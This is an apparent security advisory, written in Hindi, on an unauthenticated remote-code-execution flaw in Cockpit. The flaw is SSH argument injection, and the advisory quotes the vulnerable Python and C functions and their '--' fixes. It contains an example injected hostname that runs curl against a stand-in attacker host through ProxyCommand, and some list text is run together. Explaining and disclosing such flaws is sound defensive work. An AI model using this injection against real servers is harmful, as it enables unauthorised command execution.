
कॉकपिट: SSH कमांड-लाइन आर्गुमेंट इंजेक्शन के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन
Cockpit: SSH कमांड-लाइन तर्क इंजेक्शन के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन
| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| गंभीरता | क्रिटिकल (CVSS 9.8) |
| प्रभावित संस्करण | Cockpit 327 – 359 |
| समाधान | Cockpit 360 |
| CWE | CWE-78: OS कमांड इंजेक्शन |
| प्रमाणीकरण आवश्यक | नहीं |
| रिपोर्टकर्ता | Jelle van der Waa |
Cockpit की रिमोट लॉगिन सुविधा उपयोगकर्ता-आपूर्ति होस्टनाम (URL पथ से) और उपयोगकर्ता नाम (Authorization: Basic हेडर से) को बिना किसी सत्यापन या स्वच्छता के सीधे OpenSSH ssh बाइनरी को पास करती है।
पोर्ट 9090 तक नेटवर्क पहुंच वाला एक बिना प्रमाणीकृत हमलावर एक ही HTTP अनुरोध तैयार कर सकता है जो:
-oProxyCommand=<cmd>)%r टोकन विस्तार का शोषण करके शेल कमांड इंजेक्ट करता हैदोनों इंजेक्शन बिंदु क्रेडेंशियल सत्यापन पूरा होने से पहले सक्रिय होते हैं, जिसका अर्थ है कि कोई वैध लॉगिन आवश्यक नहीं है।

संस्करण 327 से पहले, Cockpit रिमोट कनेक्शन के लिए cockpit-ssh नामक एक समर्पित C बाइनरी (libssh पर आधारित) का उपयोग करता था। संस्करण 327 से शुरू करके, इसे इसके साथ बदल दिया गया:
python3 -m cockpit.beiboot
जो सिस्टम OpenSSH ssh क्लाइंट को आमंत्रित करता है। इस परिवर्तन ने भेद्यता पेश की क्योंकि नया कोड पथ उपयोगकर्ता-नियंत्रित मानों को बिना स्वच्छता के सीधे ssh को पास करता है।
-- विभाजक नहींSSH क्लाइंट - से शुरू होने वाले तर्कों को विकल्प के रूप में व्याख्या करता है, होस्टनाम के रूप में नहीं, जब तक कि उनसे पहले -- विभाजक न हो। -- के बिना, - से शुरू होने वाला कोई भी होस्टनाम SSH फ़्लैग के रूप में पार्स किया जाता है।
भेद्य निर्माण:
ssh [विकल्प] <होस्टनाम> <रिमोट-कमांड>
सुरक्षित निर्माण:
ssh [विकल्प] -- <होस्टनाम> <रिमोट-कमांड>
न तो cockpit-ws (C कोड) और न ही cockpit.beiboot (Python कोड) सत्यापित या स्वच्छ करता है:
Authorization: Basic हेडर से निकाला गया उपयोगकर्ता नामargparse बग (CPython #66623)एक ज्ञात CPython बग के कारण argparse - से शुरू होने वाले तर्कों को गलत तरीके से संभालता है जिनमें रिक्त स्थान भी होते हैं, उन्हें फ़्लैग के बजाय स्थितीय के रूप में मानता है। यह -oProxyCommand=evil command होस्टनाम को Python तर्क पार्सिंग से गुजरने और ssh तक एक विकल्प के रूप में पहुंचने की अनुमति देता है।
src/cockpit/beiboot.py — प्राथमिक इंजेक्शन बिंदुयह सबसे महत्वपूर्ण फ़ाइल है। via_ssh() फ़ंक्शन SSH कमांड तर्क सूची बनाता है।
def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
"""Build an ssh command to run `cmd` on `dest`."""
# Parse optional port from dest (e.g. "host:2222")
host, _, port = dest.rpartition(':')
if port.isdigit() and host:
# Strip IPv6 brackets
if host.startswith('[') and host.endswith(']'):
host = host[1:-1]
# VULNERABLE: No '--' before host
# If host = "-oProxyCommand=evil", ssh treats it as an option
destination = ['-p', port, host]
else:
# VULNERABLE: Raw attacker input passed directly to ssh
destination = [dest]
return (
'ssh', *ssh_opts, *destination, shlex.join(cmd)
)
dest = "-oProxyCommand=curl http://attacker.com/id" के साथ:
arg0: ssh
arg1: -oNumberOfPasswordPrompts=1 ← cockpit विकल्प
arg2: -oProxyCommand=curl http://... ← SSH विकल्प के रूप में पार्स किया गया (होस्ट नहीं)
arg3: python3 -ic '# cockpit-bridge' ← "होस्टनाम" बन जाता है → ProxyCommand ट्रिगर करता है
if port.isdigit() and host:
if host.startswith('[') and host.endswith(']'):
host = host[1:-1]
# FIXED: '--' forces everything after it to be positional
destination = ['-p', port, '--', host]
else:
# FIXED: '--' separator added
destination = ['--', dest]
src/ws/cockpitauth.c — C परत: होस्टनाम निष्कर्षणयह C फ़ाइल प्रारंभिक HTTP अनुरोध पार्सिंग को संभालती है और beiboot प्रक्रिया को स्पॉन करती है।
static const gchar *
application_parse_host(const gchar *application)
{
const gchar *prefix = "cockpit+=";
gint len = strlen(prefix);
g_return_val_if_fail(application != NULL, NULL);
// Extracts everything after "cockpit+=" from the URL path
// No character validation — dashes, special chars allowed
if (g_str_has_prefix(application, prefix) && application[len] != '\0')
return application + len;
else
return NULL;
}
लौटाया गया होस्टनाम beiboot स्पॉन करते समय सीधे एक तर्क के रूप में पास किया जाता है:
// cockpit_ws_ssh_program is the spawn command template
// VULNERABLE: hostname appended with no sanitization
const gchar *cockpit_ws_ssh_program =
"/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
// ^
// No trailing '--' means hostname can be parsed
// as a flag by Python's argparse (CPython #66623)
// FIXED: trailing '--' ensures hostname is always positional
const gchar *cockpit_ws_ssh_program =
"/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";
static CockpitCreds *
build_session_credentials(CockpitAuth *self,
CockpitWebRequest *request,
const char *application,
const char *host,
const char *type,
const char *authorization)
{
char *user = NULL;
char *raw = NULL;
if (g_strcmp0(type, "basic") == 0) {
// Decodes Authorization: Basic base64(user:password)
// No validation of 'user' — semicolons, special chars allowed
raw = cockpit_authorize_parse_basic(authorization, &user);
}
// 'user' is passed into credentials and eventually to 'ssh -l <user>'
creds = cockpit_creds_new(application,
COCKPIT_CRED_USER, user, // unsanitized
...);
}
vendor/ferny/src/ferny/session.py — तीसरा इंजेक्शन बिंदुबंडल की गई ferny लाइब्रेरी (SSH इंटरैक्शन के लिए उपयोग की जाती है) में अपने सबप्रोसेस कॉल में समान -- चूक है।